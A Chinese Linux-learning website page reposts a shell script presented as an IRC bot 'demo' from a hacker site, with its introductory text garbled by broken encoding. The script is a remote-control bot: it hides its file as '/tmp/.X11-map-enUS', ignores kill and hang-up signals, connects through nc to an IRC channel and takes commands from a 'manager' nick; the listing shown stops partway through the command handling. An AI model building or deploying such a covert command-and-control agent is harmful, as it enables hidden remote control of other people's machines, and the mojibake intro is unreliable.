ò???irc botμ?shellêμ??(demo)

来源:未知 责任编辑:责任编辑 发表时间:2015-09-16 20:04 点击:

shell??ê??????e2?£??a???÷òaê?à?ó?á?tail- f í¨1y1üμà???¨?òμ?ncà′ó?irc·t???÷??DDí¨D?£?è?oóà?ó?sed??????ê??ˉê1??·?o?D-òé£???????é????÷á?
êμ??μ?1|?ü?íê??üá??′DD?£
′ú??1à??oü2?3éêì£??1?ú?§?°?D£??£í?′ó?ò?????ú?àìá3?ò?D???μ??£

01 #!/bin/sh 

02  

03 #Shell IRC Bot demo Based on RFC 1459 

04 #Author:Tm3yShell7 @ www.hackshell.net

05 #2011/8/5 

06  

07 myname='testBot' #what you call me? 

08 svradd='127.0.0.1 6667' #where can i find you? "Oppo" find me : P 

09 channel='bots' #irc channel 

10 tmpfile='/tmp/.X11-map-enUS' #temp file at runtime 

11 mgr='god' #manager nick in irc 

12 cwd='/tmp' # current work directry 

13  

14 trap "" TERM HUP INT QUIT TSTP 

15 #just leave it 

16  

17 echo "NICK $myname" > $tmpfile 

18 echo "USER $myname `hostname` servername realname" >> $tmpfile 

19 echo "JOIN $channel" >> $tmpfile 

20 echo "PRIVMSG $mgr :hey, im in!" >> $tmpfile 

21 #connect to the irc server and say hello to my manager 

22  

23 tail -f $tmpfile| nc $svradd | while true; do

24                 read cmd 

25                 echo $cmd | egrep "^:$mgr.*PRIVMSG $myname :" >/dev/null 2>&1 

26                 test $? -eq 0 || continue

27                 #see if this message is for me? 

28                 cmd=$(echo $cmd | sed "s/^:$mgr.*PRIVMSG $myname ://" 2>/dev/null) 

29                 #delete the header 

30                 cmd=$(echo $cmd | sed "s/\r/\n/" 2>/dev/null) 

31                 #delete '\r' 

32                 echo $cmd | egrep "^cd *" >/dev/null 2>&1 

33                 test $? -eq 0 && cwd=$(cd $cwd;$cmd;pwd 2>/dev/null) 

发表评论
请自觉遵守互联网相关的政策法规,严禁发布色情、暴力、反动的言论。
用户名: 验证码:点击我更换图片
最新评论 更多>>

推荐热点

  • /etc/fstab 详解
  •  LVS-NAT和LVS-DR模式的实现详解
  •  RHCE考试之磁盘配额
  • nginx主主集群
  •  LVM逻辑卷管理器
  • 学习笔记:ACL详解
  • suse linux双网卡双网关配置
  • puppet文件服务配置
  •  Linux System and Performance Monitoring(Network篇)

快速直达

操作系统导航

LinuxWindows虚拟机
网站首页 - 友情链接 - 网站地图 - TAG标签 - RSS订阅 - 内容搜索
Copyright © 2008-2015 计算机技术学习交流网. 版权所有

豫ICP备11007008号-1